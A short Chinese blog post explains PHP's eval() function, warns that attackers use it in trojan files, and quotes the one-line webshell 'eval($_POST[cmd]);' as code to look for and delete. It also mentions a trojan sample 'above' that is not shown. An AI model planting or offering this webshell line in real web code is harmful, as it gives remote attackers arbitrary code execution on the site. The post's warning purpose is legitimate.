ITPub博客

首页 > IT职业 > IT图书 > php中eval函数用法介绍

php中eval函数用法介绍

IT图书 作者:becaso 时间:2021-09-09 09:36:19 0 删除 编辑

黑客用得最多的一句了,可以解析php。很多木马文件都是这样做的,

上面是一个php大马文件,

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

由于安全原因,不建议大家在开发中使用。

下面一句最简单的代码,风险超级高,我们有时会看到自己的网站有这么一句:

1 eval($_POST[cmd]);#这个就是php中的一句话木马,如果发现,马上删除




来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/2233/viewspace-2810934/ ,如需转载,请注明出处,否则将追究法律责任。

上一篇: yum 安装php5.5
请登录后发表评论 登录
全部评论

注册时间:2019-04-16

  • 博文量
    104
  • 访问量
    936